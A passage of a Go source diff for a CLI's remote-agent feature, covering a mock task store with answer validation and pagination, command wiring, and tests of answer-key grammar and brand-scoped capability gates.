task := build(len(ctx.TaskIDs) + 1)
// Stamp lifecycle timestamps at creation. Example tasks are born terminal, so
// created_at == updated_at; a real provider bumps updated_at on every status
// change (see setTaskState). RFC3339 UTC strings are fixed-width, so their
// lexicographic order equals chronological order (relied on by the rollup).
now := time.Now().UTC().Format(time.RFC3339)
task.CreatedAt = now
task.UpdatedAt = now
s.NextSeq++
s.Tasks[task.TaskID] = &taskRecord{AgentID: agentID, Seq: s.NextSeq, Task: task}
ctx.TaskIDs = append(ctx.TaskIDs, task.TaskID)
return task, s.saveLocked()
}
// getTask fetches a task snapshot by id (returns a copy by value, so the command
// layer's in-place edits like normalizeTask do not write through to store). A
// cross-agents task is treated as "not found", without leaking another agent's state.
func (s *memoryStore) getTask(agentID, taskID string) (agents.AgentTask, error) {
s.mu.Lock()
defer s.mu.Unlock()
s.loadLocked()
rec, ok := s.Tasks[taskID]
if !ok || rec.AgentID != agentID {
return agents.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
"未知的 task id '%s'example:%s 名下不存在)", taskID, agentID).
WithHint("运行 lark-cli agents task list example:%s 查看现有任务", agentID)
}
task := rec.Task
// AgentTask is returned by value, but InputRequired is a pointer — clone it
// so the command layer's in-place normalization can never write through into
// the store (one-process runs must behave like per-process runs).
task.InputRequired = cloneGroup(rec.Task.InputRequired)
return task, nil
}
// cloneGroup deep-copies a question group (nil-safe).
func cloneGroup(ir *agents.InputRequired) *agents.InputRequired {
if ir == nil {
return nil
}
out := *ir
out.Questions = make([]agents.Question, len(ir.Questions))
for i, q := range ir.Questions {
out.Questions[i] = q
out.Questions[i].Options = append([]agents.Option(nil), q.Options...)
}
return &out
}
// setTaskState updates a task's state (used by reporter's cancel).
func (s *memoryStore) setTaskState(taskID string, state agents.TaskState) error {
s.mu.Lock()
defer s.mu.Unlock()
s.loadLocked()
rec, ok := s.Tasks[taskID]
if !ok {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "未知的 task id '%s'", taskID)
}
rec.Task.State = state
rec.Task.IsTerminal = state.IsTerminal()
rec.Task.UpdatedAt = time.Now().UTC().Format(time.RFC3339) // status changed ⇒ record when
return s.saveLocked()
}
// answerGroup applies a group answer (§10.1 key encoding) to a task's pending
// input_required question group. It is the mock's stand-in for a STRICT-posture
// server (a form backend): every question required, bare values validated
// against the stored options, single-select cardinality enforced, the skip
// option exclusive — with every violation collected into ONE ValidationError
// (params[] entries with the Reason enum + the question declaration as Spec) so
// the caller fixes everything in a single resend. A tolerant LLM-backed
// provider may instead consume partial/free answers — validation POLICY is the
// provider's own; only the error FORMAT here is contractual.
//
// Acceptance is atomic under the store lock (validate → record Accepted →
// leave input_required in one critical section, the reply message inside it) —
// two racing submissions get exactly one winner; the loser (and any late
// retry) gets failed_precondition carrying resolved_answers, the
// machine-readable "already decided, here is what won" signal.
func (s *memoryStore) answerGroup(agentID, ctxID, taskID string, answers map[string][]string, remark string) (agents.AgentTask, error) {
s.mu.Lock()
defer s.mu.Unlock()
s.loadLocked()
rec, ok := s.Tasks[taskID]
if !ok || rec.AgentID != agentID {
return agents.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
"未知的 task id '%s'example:%s 名下不存在)", taskID, agentID).
WithHint("运行 lark-cli agents task list example:%s 查看现有任务", agentID)
}
// context_id+task_id is the group's unique address (§2.1) — the CLI forces
// both flags for that binding, so honoring only half of it here would teach
// integrators to silently ignore the other half.
if ctxID != "" && ctxID != rec.Task.ContextID {
return agents.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
"context_id '%s' 与任务 '%s' 所属会话不符", ctxID, taskID).
WithHint("用 lark-cli agents task get example:%s %s 确认该任务的 context_id", agentID, taskID)
}
ir := rec.Task.InputRequired
if rec.Task.State != agents.StateInputRequired || ir == nil {
e := errs.NewValidationError(errs.SubtypeFailedPrecondition,
"任务 '%s' 已不在等待输入", taskID).
WithHint("用 lark-cli agents task get example:%s %s 查看当前状态与结果", agentID, taskID)
if rec.Accepted != nil {
// The group was already resolved (another endpoint, or a retry whose
// first attempt landed): echo what won, machine-readable.
e = e.WithResolvedAnswers(rec.Accepted)
}
return agents.AgentTask{}, e
}
byID := make(map[string]agents.Question, len(ir.Questions))
currentIDs := make([]string, 0, len(ir.Questions))
for _, q := range ir.Questions {
byID[q.QuestionID] = q
currentIDs = append(currentIDs, q.QuestionID)
}
// Deterministic violation order: sorted answer keys, then missing questions
// in group order.
keys := make([]string, 0, len(answers))
for k := range answers {
keys = append(keys, k)
}
sort.Strings(keys)
var viols []errs.InvalidParam
answered := make(map[string]bool, len(answers))
for _, key := range keys {
values := answers[key]
qid, isText := agents.SplitAnswerKey(key)
q, known := byID[qid]
if !known {
// A stale retry (the group changed under the caller) lands exactly
// here — Suggestions carries the CURRENT group's keys so the caller
// can tell "typo" from "new group" without a discovery round-trip.
viols = append(viols, errs.InvalidParam{Name: key, Reason: "unknown_question",
Suggestions: currentIDs})
continue
}
answered[qid] = true
if isText {
// Free text is always consumable here (the strict-but-LLM-ish demo
// posture); a pure form backend MAY reject it with reason
// invalid_option-style clarity instead — never silently drop it.
if len(q.Options) == 0 {
if _, both := answers[qid]; both {
viols = append(viols, errs.InvalidParam{Name: key, Reason: "conflict", Spec: q})
}
}
continue
}
if len(q.Options) == 0 {
// Text question answered via the bare-value alias: legal, but only one
// text per question.
if len(values) > 1 {
viols = append(viols, errs.InvalidParam{Name: key, Reason: "count_violation", Spec: q})
}
continue
}
picked := 0
for _, v := range values {
if _, ok := optionLabel(q.Options, v); !ok {
viols = append(viols, errs.InvalidParam{Name: key, Reason: "invalid_option", Spec: q})
} else {
picked++
}
}
if !q.MultiSelect && len(values) > 1 {
viols = append(viols, errs.InvalidParam{Name: key, Reason: "count_violation", Spec: q})
}
if picked > 1 && hasValue(values, "skip") {
// planner's own policy: its skip option means "let the agent decide"
// and is exclusive with real picks.
viols = append(viols, errs.InvalidParam{Name: key, Reason: "conflict", Spec: q})
}
}
// Strict posture: every question of the group is required.
for _, q := range ir.Questions {
if !answered[q.QuestionID] {
viols = append(viols, errs.InvalidParam{Name: q.QuestionID, Reason: "missing", Spec: q})
}
}
if len(viols) > 0 {
return agents.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
"%d 个答案有问题", len(viols)).
WithParams(viols...).
WithHint("按 params 里的题目声明修正后整组重发(含未报错的题)")
}
// Atomic acceptance: record + reply + state transition in one critical
// section, snapshot write last.
rec.Accepted = answers
rec.Task.State = agents.StateCompleted
rec.Task.IsTerminal = true
if remark != "" {
// The §4.1 message-level remark (--text alongside --answer) is part of
// the user's message — record it, never silently drop it (§6.4).
rec.Task.Messages = append(rec.Task.Messages, agents.Message{
Role: "user", Parts: []agents.Part{{Type: "text", Text: remark}},
})
}
rec.Task.Messages = append(rec.Task.Messages, agents.Message{
Role: "agent",
Parts: []agents.Part{{Type: "text", Text: acceptanceReply(ir, answers)}},
})
rec.Task.UpdatedAt = time.Now().UTC().Format(time.RFC3339)
return rec.Task, s.saveLocked()
}
// acceptanceReply composes the post-acceptance agent message, resolving option
// ids back to labels from the stored group — the §6.1 store-and-resolve
// pattern: the wire carried keys, the business reads values.
func acceptanceReply(ir *agents.InputRequired, answers map[string][]string) string {
var parts []string
for _, q := range ir.Questions {
var vals []string
for _, v := range answers[q.QuestionID] {
if label, ok := optionLabel(q.Options, v); ok {
vals = append(vals, label)
} else {
vals = append(vals, v)
}
}
vals = append(vals, answers[q.QuestionID+agents.AnswerTextSuffix]...)
if len(vals) > 0 {
parts = append(parts, q.Question+"「"+strings.Join(vals, "、")+"」")
}
}
return "已按答复出报表:" + strings.Join(parts, "")
}
// hasValue reports whether vals contains v.
func hasValue(vals []string, v string) bool {
for _, x := range vals {
if x == v {
return true
}
}
return false
}
// optionLabel returns the label of optionID within opts (ok=false if not found).
func optionLabel(opts []agents.Option, optionID string) (string, bool) {
for _, o := range opts {
if o.OptionID == optionID {
return o.Label, true
}
}
return "", false
}
// pageWindow computes the [lo,hi) slice bounds and the resulting PageInfo for an
// offset-cursor paginated list of `total` items. The token is an opaque offset —
// strconv.Itoa of the first item's index; an unparseable / negative token is
// leniently treated as offset 0 (the store is a mock, so it does not reject a bad
// cursor). Size<=0 returns all remaining items (the CLI always passes ≥1). The
// NextToken is the offset just past this page (lo+len), set only when more items
// remain.
func pageWindow(total int, page agents.PageParams) (lo, hi int, info agents.PageInfo) {
if page.Token != "" {
if n, err := strconv.Atoi(page.Token); err == nil && n > 0 {
lo = n
}
}
if lo > total {
lo = total
}
hi = total
if page.Size > 0 && lo+page.Size < total {
hi = lo + page.Size
}
if hi < total {
info = agents.PageInfo{NextToken: strconv.Itoa(hi), HasMore: true}
}
return lo, hi, info
}
// listTasks lists an agent's task summaries, optionally filtered by contextID
// (empty string means no filter), MOST-RECENT-FIRST (Seq descending — Seq grows
// with creation, so descending is newest first; example tasks are terminal at
// creation so Seq desc equals UpdatedAt desc), then paginated by page. IsTerminal
// is carried along here for convenience, but the command layer re-derives it from
// State via normalizeTask* (single source), so the integrator need not worry
// about this field.
func (s *memoryStore) listTasks(agentID, contextID string, page agents.PageParams) ([]agents.TaskSummary, agents.PageInfo) {
s.mu.Lock()
defer s.mu.Unlock()
s.loadLocked()
recs := make([]*taskRecord, 0, len(s.Tasks))
for _, rec := range s.Tasks {
if rec.AgentID != agentID {
continue
}
if contextID != "" && rec.Task.ContextID != contextID {
continue
}
recs = append(recs, rec)
}
sort.Slice(recs, func(i, j int) bool { return recs[i].Seq > recs[j].Seq })
lo, hi, info := pageWindow(len(recs), page)
out := make([]agents.TaskSummary, 0, hi-lo)
for _, rec := range recs[lo:hi] {
out = append(out, taskSummaryOf(rec.Task))
}
return out, info
}
// listContexts lists an agent's context summaries, MOST-RECENT-FIRST (Seq
// descending — newest first), then paginated by page.
func (s *memoryStore) listContexts(agentID string, page agents.PageParams) ([]agents.ContextSummary, agents.PageInfo) {
s.mu.Lock()
defer s.mu.Unlock()
s.loadLocked()
recs := make([]*contextRecord, 0, len(s.Contexts))
for _, ctx := range s.Contexts {
if ctx.AgentID == agentID {
recs = append(recs, ctx)
}
}
sort.Slice(recs, func(i, j int) bool { return recs[i].Seq > recs[j].Seq })
lo, hi, info := pageWindow(len(recs), page)
out := make([]agents.ContextSummary, 0, hi-lo)
for _, ctx := range recs[lo:hi] {
updatedAt, _, awaiting, _ := s.contextRollupLocked(ctx)
out = append(out, agents.ContextSummary{
ContextID: ctx.ContextID,
CreatedAt: ctx.CreatedAt,
UpdatedAt: updatedAt,
Title: ctx.Title,
AwaitingInput: awaiting,
})
}
return out, info
}
// getContext returns a context's detail: metadata plus a rollup (updated_at,
// task_count, awaiting_input) and the single most-actionable ActiveTask (the task
// with the latest updated_at; nil for an empty context). It deliberately does NOT
// enumerate every task — the full list is `listTasks(agentID, ctxID)` behind
// `agents task list --context-id`.
func (s *memoryStore) getContext(agentID, ctxID string) (*agents.ContextDetail, error) {
s.mu.Lock()
defer s.mu.Unlock()
s.loadLocked()
ctx, ok := s.Contexts[ctxID]
if !ok || ctx.AgentID != agentID {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
"未知的 context id '%s'example:%s 名下不存在)", ctxID, agentID).
WithHint("运行 lark-cli agents context list example:%s 查看现有会话", agentID)
}
updatedAt, taskCount, awaiting, active := s.contextRollupLocked(ctx)
detail := &agents.ContextDetail{
ContextID: ctx.ContextID,
CreatedAt: ctx.CreatedAt,
UpdatedAt: updatedAt,
Title: ctx.Title,
// The mock can always count its tasks; a real provider whose backend
// does not return a total leaves TaskCount nil (unknown ≠ 0).
TaskCount: &taskCount,
AwaitingInput: awaiting,
}
if active != nil {
summary := taskSummaryOf(active.Task)
detail.ActiveTask = &summary
}
return detail, nil
}
// deleteContext deletes a context and its tasks (a destructive operation, already gated by --yes in the command layer).
func (s *memoryStore) deleteContext(agentID, ctxID string) error {
s.mu.Lock()
defer s.mu.Unlock()
s.loadLocked()
ctx, ok := s.Contexts[ctxID]
if !ok || ctx.AgentID != agentID {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"未知的 context id '%s'example:%s 名下不存在)", ctxID, agentID).
WithHint("运行 lark-cli agents context list example:%s 查看现有会话", agentID)
}
for _, tid := range ctx.TaskIDs {
delete(s.Tasks, tid)
}
delete(s.Contexts, ctxID)
return s.saveLocked()
}
// ── Derived rollups (the enriched-summary provider side) ──
// summaryMaxRunes is the rune budget for a task Summary — a one-line content
// digest, not full content. Truncation is rune-safe so a multibyte character is
// never cut in half.
const summaryMaxRunes = 100
// contextRollupLocked derives a context's summary fields from its tasks (the
// caller must already hold the lock). updatedAt is the newest task updated_at,
// falling back to the context's created_at when it has no tasks; awaitingInput is
// set when any task sits in input_required/auth_required; active is the task with
// the latest updated_at (ties broken by creation order so it is deterministic),
// nil when the context is empty.
func (s *memoryStore) contextRollupLocked(ctx *contextRecord) (updatedAt string, taskCount int, awaitingInput bool, active *taskRecord) {
updatedAt = ctx.CreatedAt
for _, tid := range ctx.TaskIDs {
rec, ok := s.Tasks[tid]
if !ok {
continue
}
taskCount++
if rec.Task.UpdatedAt > updatedAt { // fixed-width RFC3339 UTC ⇒ lexicographic == chronological
updatedAt = rec.Task.UpdatedAt
}
if isAwaiting(rec.Task.State) {
awaitingInput = true
}
if active == nil || rec.Task.UpdatedAt > active.Task.UpdatedAt ||
(rec.Task.UpdatedAt == active.Task.UpdatedAt && rec.Seq > active.Seq) {
active = rec
}
}
return updatedAt, taskCount, awaitingInput, active
}
// isAwaiting reports whether a state is paused waiting on the caller (the
// awaiting_input rollup bit).
func isAwaiting(state agents.TaskState) bool {
return state == agents.StateInputRequired || state == agents.StateAuthRequired
}
// taskSummaryOf projects a stored task into its list/active summary, carrying the
// timestamp and the one-line content digest alongside the identity fields.
func taskSummaryOf(task agents.AgentTask) agents.TaskSummary {
return agents.TaskSummary{
TaskID: task.TaskID,
ContextID: task.ContextID,
State: task.State,
IsTerminal: task.IsTerminal,
UpdatedAt: task.UpdatedAt,
Summary: taskSummaryText(task),
}
}
// taskSummaryText is the one-line content digest: the pending group's triage
// digest (§3.3: label else first question, question count suffixed) for a task
// awaiting input, otherwise the last agent message's text. It returns RAW text
// (only rune-truncated) — ANSI-stripping + flattening for pretty/TSV is the
// command layer's job, and it is empty when nothing is available.
func taskSummaryText(task agents.AgentTask) string {
if task.State == agents.StateInputRequired && task.InputRequired != nil {
if s := task.InputRequired.SummaryText(); s != "" {
return truncateRunes(s, summaryMaxRunes)
}
}
for i := len(task.Messages) - 1; i >= 0; i-- {
if task.Messages[i].Role != "agent" {
continue
}
for _, p := range task.Messages[i].Parts {
if p.Type == "text" && p.Text != "" {
return truncateRunes(p.Text, summaryMaxRunes)
}
}
}
return ""
}
// truncateRunes cuts s to at most max runes (rune-safe, no character split). It
// does not append an ellipsis: the Summary is meant to be raw text.
func truncateRunes(s string, max int) string {
r := []rune(s)
if len(r) <= max {
return s
}
return string(r[:max])
}

View File

@@ -1,28 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
// Package agents is the top-level business layer that wires the in-repo agent
// providers into the framework registry (internal/agents). It mirrors the events
// layering: the framework/SPI lives in internal/agents, each concrete provider is
// a declarative agents.Provider value exposed by a package under agents/<scheme>/,
// and this package's init aggregates and registers them. Blank-import this
// package from cmd to populate the provider registry.
//
// To onboard a new provider: add agents/<scheme>/ exposing a Provider() value,
// then add one line to the slice below.
package agents
import (
"github.com/larksuite/cli/agents/base"
"github.com/larksuite/cli/agents/example"
iagents "github.com/larksuite/cli/internal/agents"
)
func init() {
for _, p := range []iagents.Provider{
base.Provider(),
example.Provider(),
} {
iagents.Register(p)
}
}

View File

@@ -1,34 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import "testing"
// TestAgentCommandTree pins the shape of the `agent` command tree: the group
// itself must have no RunE/Run (a bare group whose unknown subcommands surface
// an error rather than being silently swallowed), and it must expose all five
// verbs plus the nested task/context sub-groups.
func TestAgentCommandTree(t *testing.T) {
cmd := NewCmdAgents(nil)
if cmd.RunE != nil || cmd.Run != nil {
t.Error("agent group should not have RunE (otherwise it conflicts with unknownSubcommandGuard)")
}
want := []string{"list", "card", "send", "task", "context"}
for _, name := range want {
if findSub(cmd, name) == nil {
t.Errorf("missing subcommand %s", name)
}
}
// task/context are nested groups
if task := findSub(cmd, "task"); task == nil {
t.Error("missing agents task group")
} else if findSub(task, "get") == nil {
t.Error("missing agents task get")
}
if ctxCmd := findSub(cmd, "context"); ctxCmd == nil {
t.Error("missing agents context group")
} else if findSub(ctxCmd, "delete") == nil {
t.Error("missing agents context delete")
}
}

View File

@@ -1,29 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"github.com/spf13/cobra"
"github.com/larksuite/cli/internal/cmdutil"
)
// NewCmdAgents builds the `agent` command group: a provider-agnostic surface
// that drives remote A2A agents with constant verbs. It is a pure group with
// no RunE, so an unknown subcommand is reported rather than silently
// swallowed. All five verbs (list/card/send/task/context) are wired here; task
// and context are themselves nested groups.
func NewCmdAgents(f *cmdutil.Factory) *cobra.Command {
cmd := &cobra.Command{
Use: "agents",
Short: "Drive first-party remote agents (A2A: send / start task / poll / fetch result)",
Long: "Drive Feishu first-party remote agents with a constant verb set. An agent_ref looks like <scheme>:<agent_id> (e.g. example:echo). Read capabilities with `agents card <agent_ref>` first, then pick verbs by capability.",
}
cmd.AddCommand(NewCmdAgentList(f))
cmd.AddCommand(NewCmdAgentCard(f))
cmd.AddCommand(NewCmdAgentSend(f, nil))
cmd.AddCommand(NewCmdAgentTask(f))
cmd.AddCommand(NewCmdAgentContext(f))
return cmd
}

View File

@@ -1,169 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
// Tests added from the Phase-6 adversarial review of the input_required answer
// scheme: each pins a contract row that was implemented but previously
// deletable without a test failing.
package agents
import (
"encoding/json"
"errors"
"strings"
"testing"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
)
// TestSendAnswerUnsupportedGated pins the §5 capability row: --answer against
// an agent whose card declares input_required=false (example:echo) is gated
// offline with unsupported_capability — no provider hook fires, no network.
func TestSendAnswerUnsupportedGated(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
err := agentSendRun(&sendOptions{
Factory: f, Cmd: sendCmdCtx(t), Ref: "example:echo",
ContextID: "c1", TaskID: "t1", Answers: []string{"q1=x"},
As: "bot", Format: "json",
})
assertUnsupportedCapability(t, err, "example:echo")
if p, _ := errs.ProblemOf(err); !strings.Contains(p.Message, "input_required") {
t.Errorf("gate error should name the input_required capability, got %q", p.Message)
}
}
// TestSendAnswerWithRemark pins the §5 row "--answer 与 --text 并存 = 合法":
// the remark rides SendInput.Text alongside the parsed answers.
func TestSendAnswerWithRemark(t *testing.T) {
opts := sendTestOpts(t)
opts.ContextID, opts.TaskID = "sess_1", "task_1"
opts.Answers = []string{"q1_a8=by_region"}
opts.Text = "补充:优先东区"
var got iagents.SendInput
setScripted(t, scriptedHooks{send: func(in iagents.SendInput) (*iagents.AgentTask, error) {
got = in
return &iagents.AgentTask{TaskID: "task_1", State: iagents.StateCompleted}, nil
}})
if err := agentSendRun(opts); err != nil {
t.Fatalf("--answer with a --text remark must be legal: %v", err)
}
if got.Text != "补充:优先东区" || len(got.Answers) != 1 {
t.Errorf("remark and answers must both reach the hook, got text=%q answers=%v", got.Text, got.Answers)
}
}
// TestSendAnswerGrammarEdges extends the offline key-grammar pin to the §4.1
// edge shapes: case-sensitive suffix, bare ".text", double suffix — plus the
// hint naming both legal forms.
func TestSendAnswerGrammarEdges(t *testing.T) {
err := agentSendRun(&sendOptions{Ref: "example:agt_x", ContextID: "c", TaskID: "t",
Answers: []string{"q1.TEXT=x", ".text=x", "q.text.text=x"}})
if err == nil {
t.Fatal("edge-shape keys should be rejected offline")
}
var verr *errs.ValidationError
if !errors.As(err, &verr) {
t.Fatal(err)
}
for _, frag := range []string{"q1.TEXT", ".text", "q.text.text"} {
if !strings.Contains(verr.Problem.Message, frag) {
t.Errorf("collect-all should name %q, got %q", frag, verr.Problem.Message)
}
}
if h := verr.Problem.Hint; !strings.Contains(h, "<question_id>=<option_id>") || !strings.Contains(h, "<question_id>.text=") {
t.Errorf("hint must name both legal key forms, got %q", h)
}
}
// TestSendAnswerGuardPrecedence pins mode-first ordering: with BOTH missing
// ids AND a grammar-violating entry, the ids guard answers (the caller learns
// which mode it got wrong before which field), and Answers+ContextID-only
// still reports the --answer guard.
func TestSendAnswerGuardPrecedence(t *testing.T) {
err := agentSendRun(&sendOptions{Ref: "example:agt_x", Answers: []string{"q1.txt=x"}})
var verr *errs.ValidationError
if !errors.As(err, &verr) || verr.Param != "--answer" || !strings.Contains(verr.Problem.Message, "--context-id") {
t.Errorf("ids guard must answer before key grammar, got %+v", verr)
}
err = agentSendRun(&sendOptions{Ref: "example:agt_x", ContextID: "c", Answers: []string{"q1=x"}})
if !errors.As(err, &verr) || verr.Param != "--answer" {
t.Errorf("answers with context but no task must hit the --answer guard, got %+v", verr)
}
}
// TestSendDryRunAnswers pins the '预演即所得' §10.1 preview: would_send.answers
// is the PARSED map (deduped, argv order), no hook fires, and dry-run answers
// work even against an input_required=false agent (dry-run precedes the gate).
func TestSendDryRunAnswers(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
opts := &sendOptions{
Factory: f, Cmd: sendCmdCtx(t), Ref: "example:echo", DryRun: true,
ContextID: "c1", TaskID: "t1",
Answers: []string{"q3_a8=east", "q3_a8=north", "q3_a8=east", "q2_a8.text=2024 全年"},
As: "bot", Format: "json",
}
out := f.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentSendRun(opts); err != nil {
t.Fatalf("dry-run with answers must succeed even at an input_required=false agent: %v", err)
}
var env struct {
Data struct {
WouldSend struct {
Answers map[string][]string `json:"answers"`
} `json:"would_send"`
} `json:"data"`
}
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("invalid envelope: %v", err)
}
if v := env.Data.WouldSend.Answers["q3_a8"]; len(v) != 2 || v[0] != "east" || v[1] != "north" {
t.Errorf("would_send.answers must be the parsed deduped map, got %v", env.Data.WouldSend.Answers)
}
if v := env.Data.WouldSend.Answers["q2_a8.text"]; len(v) != 1 || v[0] != "2024 全年" {
t.Errorf(".text key must ride would_send verbatim, got %v", env.Data.WouldSend.Answers)
}
}
// TestTaskGetDegradedGroupNotice pins the §3.2 defect-observability channel: a
// provider group with a flag-lookalike question_id degrades to one free-text
// question AND the JSON envelope carries the provider_defect notice (the
// machine surface — not just stderr).
func TestTaskGetDegradedGroupNotice(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
registerScripted()
setScripted(t, scriptedHooks{getTask: func(taskID string) (*iagents.AgentTask, error) {
return &iagents.AgentTask{TaskID: taskID, ContextID: "ctx_1", State: iagents.StateInputRequired,
UpdatedAt: "2026-07-21T00:00:00Z",
InputRequired: &iagents.InputRequired{Questions: []iagents.Question{
{QuestionID: "--text", Question: "维度?"},
}}}, nil
}})
opts := &taskOptions{Factory: f, Cmd: taskCmdCtx(t, "get"), Ref: "fakeflow:agt_x", TaskID: "t1", As: "bot", Format: "json"}
out := f.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentTaskGetRun(opts); err != nil {
t.Fatalf("task get with a degradable group should succeed: %v", err)
}
var env struct {
Data struct {
InputRequired struct {
Questions []struct {
QuestionID string `json:"question_id"`
} `json:"questions"`
} `json:"input_required"`
} `json:"data"`
Notice map[string]any `json:"_notice"`
}
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("invalid envelope: %v\n%s", err, out.Bytes())
}
qs := env.Data.InputRequired.Questions
if len(qs) != 1 || !iagents.KeyPattern.MatchString(qs[0].QuestionID) {
t.Fatalf("degraded group must be one legal-key free-text question, got %+v", qs)
}
defect, _ := env.Notice["provider_defect"].(string)
if !strings.Contains(defect, "不合规") {
t.Errorf("JSON envelope _notice must carry the provider defect, got %v", env.Notice)
}
}

View File

@@ -1,239 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"context"
"encoding/json"
"strings"
"sync"
"testing"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
// brandFactory builds a test Factory whose resolved Config.Brand is the given
// brand, so the command-layer brand gates exercise both feishu and lark.
func brandFactory(t *testing.T, brand core.LarkBrand) *cmdutil.Factory {
t.Helper()
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: brand}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
return f
}
// TestCardBrandScoped pins that `agents card example:reporter` renders a
// brand-scoped card: under feishu task_cancel is true and data.brand=="feishu";
// under lark the feishu-only task_cancel op flips to false and
// data.brand=="lark". The agent itself stays visible under both brands (only the
// op is scoped), so the card renders in both cases.
func TestCardBrandScoped(t *testing.T) {
for _, tc := range []struct {
brand core.LarkBrand
wantTaskCancel bool
}{
{core.BrandFeishu, true},
{core.BrandLark, false},
} {
t.Run(string(tc.brand), func(t *testing.T) {
f := brandFactory(t, tc.brand)
opts := &cardOptions{Factory: f, Cmd: resolveCmd(t, true, "bot"), Ref: "example:reporter", As: "bot", Format: "json"}
out := f.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentCardRun(opts); err != nil {
t.Fatalf("card should render under %s: %v", tc.brand, err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("card output should be valid envelope JSON: %v", err)
}
data, ok := env.Data.(map[string]interface{})
if !ok {
t.Fatalf("data should be a card object, got %T", env.Data)
}
if data["brand"] != string(tc.brand) {
t.Errorf("card.brand should be %q, got %v", tc.brand, data["brand"])
}
caps, ok := data["capabilities"].(map[string]interface{})
if !ok {
t.Fatalf("capabilities should be an object, got %T", data["capabilities"])
}
if caps["task_cancel"] != tc.wantTaskCancel {
t.Errorf("%s: task_cancel should be %v, got %v", tc.brand, tc.wantTaskCancel, caps["task_cancel"])
}
})
}
}
// TestTaskCancelBrandGatedUnderLark pins the per-capability brand gate: under
// lark, `agents task cancel example:reporter` (task_cancel is feishu-only) is
// rejected offline with the unavailable_for_brand validation error (exit 2)
// before any request — the CancelTask handler IS wired, so this is a brand gate,
// not an unsupported_capability gate.
func TestTaskCancelBrandGatedUnderLark(t *testing.T) {
f := brandFactory(t, core.BrandLark)
err := agentTaskCancelRun(&taskOptions{
Factory: f, Cmd: taskCmdCtx(t, "cancel"), Ref: "example:reporter", TaskID: "t1", As: "bot",
})
if err == nil {
t.Fatal("task cancel under lark should be gated (unavailable_for_brand)")
}
if !errs.IsValidation(err) {
t.Fatalf("want a validation error, got %T", err)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeUnavailableForBrand {
t.Fatalf("subtype should be unavailable_for_brand, got %+v", p)
}
if output.ExitCodeOf(err) != output.ExitValidation {
t.Fatalf("exit should be %d, got %d", output.ExitValidation, output.ExitCodeOf(err))
}
}
// TestTaskCancelReachesHandlerUnderFeishu pins the sibling of the gate: under
// feishu the feishu-scoped task_cancel is live, so the command passes both brand
// gates and reaches the provider handler — for an unknown task the example store
// returns invalid_argument (unknown task id), never unavailable_for_brand.
func TestTaskCancelReachesHandlerUnderFeishu(t *testing.T) {
f := brandFactory(t, core.BrandFeishu)
err := agentTaskCancelRun(&taskOptions{
Factory: f, Cmd: taskCmdCtx(t, "cancel"), Ref: "example:reporter", TaskID: "nope_task", As: "bot",
})
if err == nil {
t.Fatal("cancel of an unknown task should error from the handler")
}
p, ok := errs.ProblemOf(err)
if !ok {
t.Fatalf("want a typed problem, got %T: %v", err, err)
}
if p.Subtype == errs.SubtypeUnavailableForBrand {
t.Fatal("under feishu the brand gate must NOT fire — the handler should run")
}
if p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("expected the handler's unknown-task invalid_argument, got %+v", p)
}
}
// TestListCatalogIncludesReporterBothBrands pins that an op-level brand tag does
// NOT hide the whole agent: example:reporter appears in the catalog listing under
// both feishu and lark (only its task_cancel capability differs by brand).
func TestListCatalogIncludesReporterBothBrands(t *testing.T) {
prov, ok := iagents.Info("example")
if !ok {
t.Fatal("example provider should be registered")
}
for _, brand := range []core.LarkBrand{core.BrandFeishu, core.BrandLark} {
found := false
for _, a := range prov.ListCatalog(brand) {
if a.AgentRef == "example:reporter" {
found = true
}
}
if !found {
t.Errorf("example:reporter should be listed under %s (op-level tag must not hide the agent)", brand)
}
}
}
// registerBrandHiddenOnce registers the feishu-only catalog agent exactly once
// (Register panics on dup). Its ListTasks is deliberately UNWIRED so the
// whole-agent brand gate can be tested against a verb the agent does not even
// implement — the ordering assertion behind fix #1.
var registerBrandHiddenOnce sync.Once
func registerBrandHidden() {
registerBrandHiddenOnce.Do(func() {
task := func(context.Context, iagents.Runtime, string) (*iagents.AgentTask, error) {
return &iagents.AgentTask{TaskID: "t", State: iagents.StateCompleted}, nil
}
iagents.Register(iagents.Provider{
Scheme: "brandhidden",
